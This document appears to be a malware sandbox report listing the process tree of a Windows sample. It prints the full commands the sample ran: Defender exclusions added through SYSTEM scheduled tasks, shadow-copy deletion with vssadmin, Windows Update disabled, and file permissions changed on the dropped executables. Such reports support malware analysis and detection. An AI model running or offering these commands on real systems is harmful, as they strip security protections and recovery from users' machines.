C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3996
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:552
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:6032
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1440 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2780
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5616
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4008
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:804 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4296
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3440
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5984
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1148 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3880
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5808
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3124
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C:\Program Files (x86)\4Ct4qa\4Ct4qa.exe"C:\Program Files (x86)\4Ct4qa\4Ct4qa.exe"2⤵
- UAC bypass
- Drops file in Drivers directory
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Program Files directory
- Event Triggered Execution: Screensaver
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4332 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:3024
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4Ct4qa" /inheritance:r3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3780 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4Ct4qa" /inheritance:r4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3300
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:4324
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:4728
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\4Ct4qa\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5400 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\4Ct4qa\" /t REG_DWORD /d 0 /f"4⤵
- Scheduled Task/Job: Scheduled Task
PID:3676
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵
- System Location Discovery: System Language Discovery
PID:1400
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵
- System Location Discovery: System Language Discovery
PID:1840
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4172 -
C:\Windows\SysWOW64\net.exenet stop wuauserv4⤵
- Suspicious use of WriteProcessMemory
PID:564 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv5⤵
- System Location Discovery: System Language Discovery
PID:4760
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C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3480
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C:\Windows\SysWOW64\sc.exesc failure wuauserv reset= 0 actions= ""4⤵
- Launches sc.exe
PID:5884
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C:\Windows\SysWOW64\net.exenet stop UsoSvc4⤵
- Suspicious use of WriteProcessMemory
PID:5452 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UsoSvc5⤵
- System Location Discovery: System Language Discovery
PID:2780
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C:\Windows\SysWOW64\sc.exesc config UsoSvc start= disabled4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4772
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C:\Windows\SysWOW64\sc.exesc failure UsoSvc reset= 0 actions= ""4⤵
- Launches sc.exe
PID:3800
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C:\Windows\SysWOW64\net.exenet stop uhssvc4⤵
- System Location Discovery: System Language Discovery
PID:4884 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop uhssvc5⤵
- System Location Discovery: System Language Discovery
PID:5456
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C:\Windows\SysWOW64\sc.exesc config uhssvc start= disabled4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3372
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C:\Windows\SysWOW64\sc.exesc failure uhssvc reset= 0 actions= ""4⤵
- Launches sc.exe
PID:2168
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C:\Windows\SysWOW64\net.exenet stop WaaSMedicSvc4⤵PID:3144
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WaaSMedicSvc5⤵
- System Location Discovery: System Language Discovery
PID:4840
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C:\Windows\SysWOW64\sc.exesc config WaaSMedicSvc start= disabled4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4240
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C:\Windows\SysWOW64\sc.exesc failure WaaSMedicSvc reset= 0 actions= ""4⤵
- Launches sc.exe
PID:5288
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C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:848
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1692
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1048
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-04⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4672
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C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System32\wuaueng.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4176
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:5820
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1176
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-04⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5524
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C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f4⤵PID:1892
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C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f4⤵PID:1864
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f4⤵
- System Location Discovery: System Language Discovery
PID:1956
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5816
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4Ct4qa" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1164 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4Ct4qa" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2820
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4Ct4qa" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4904 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4Ct4qa" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3296
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4424 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:3680
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵
- System Location Discovery: System Language Discovery
PID:4056
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-
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵
- System Location Discovery: System Language Discovery
PID:4788
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4Ct4qa\4Ct4qa.exe" /inheritance:r3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5936 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4Ct4qa\4Ct4qa.exe" /inheritance:r4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:5668
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-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4Ct4qa\4Ct4qa.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:116 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4Ct4qa\4Ct4qa.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:5132
-
-
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3828 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:5864
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-
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵
- System Location Discovery: System Language Discovery
PID:2272
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-
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵
- System Location Discovery: System Language Discovery
PID:2516
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4Ct4qa\4Ct4qa.exe" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1660 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4Ct4qa\4Ct4qa.exe" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:6056
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4Ct4qa\image.png" /inheritance:r3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2464 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4Ct4qa\image.png" /inheritance:r4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:5828
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4Ct4qa\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2052 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4Ct4qa\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2324
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4Ct4qa\image.png" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
PID:6120 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4Ct4qa\image.png" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3488
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
PID:5340 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:628
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵PID:1904
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵
- System Location Discovery: System Language Discovery
PID:1592
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4Ct4qa\thumbs.db" /inheritance:r3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:5280 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4Ct4qa\thumbs.db" /inheritance:r4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3824
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4Ct4qa\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:4508 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4Ct4qa\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2440
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-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4Ct4qa\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:5204 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4Ct4qa\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3408
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4Ct4qa\XPSPLOG.dll" /inheritance:r3⤵
- Executes a command shell one-liner
PID:396 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4Ct4qa\XPSPLOG.dll" /inheritance:r4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:5048
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4Ct4qa\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:1908 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4Ct4qa\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2312
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-
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
PID:6112 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:4824
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵
- System Location Discovery: System Language Discovery
PID:1932
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵PID:5564
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4Ct4qa\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:3472 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4Ct4qa\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:5764
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C:\Users\Public\FBIRNB\Ny6yf4.exe"C:\Users\Public\FBIRNB\Ny6yf4.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6056
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\FBIRNB" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5652 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\FBIRNB" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5032
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C:\Windows\system32\cmd.execmd.exe1⤵PID:1620
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3944 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5688
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5772
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5692 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:908
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5172 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1664
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C:\Program Files (x86)\4Ct4qa\4Ct4qa.exe"C:\Program Files (x86)\4Ct4qa\4Ct4qa.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4712
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C:\Program Files (x86)\XnZKV1Kr\VQX11.exe"C:\Program Files (x86)\XnZKV1Kr\VQX11.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2308
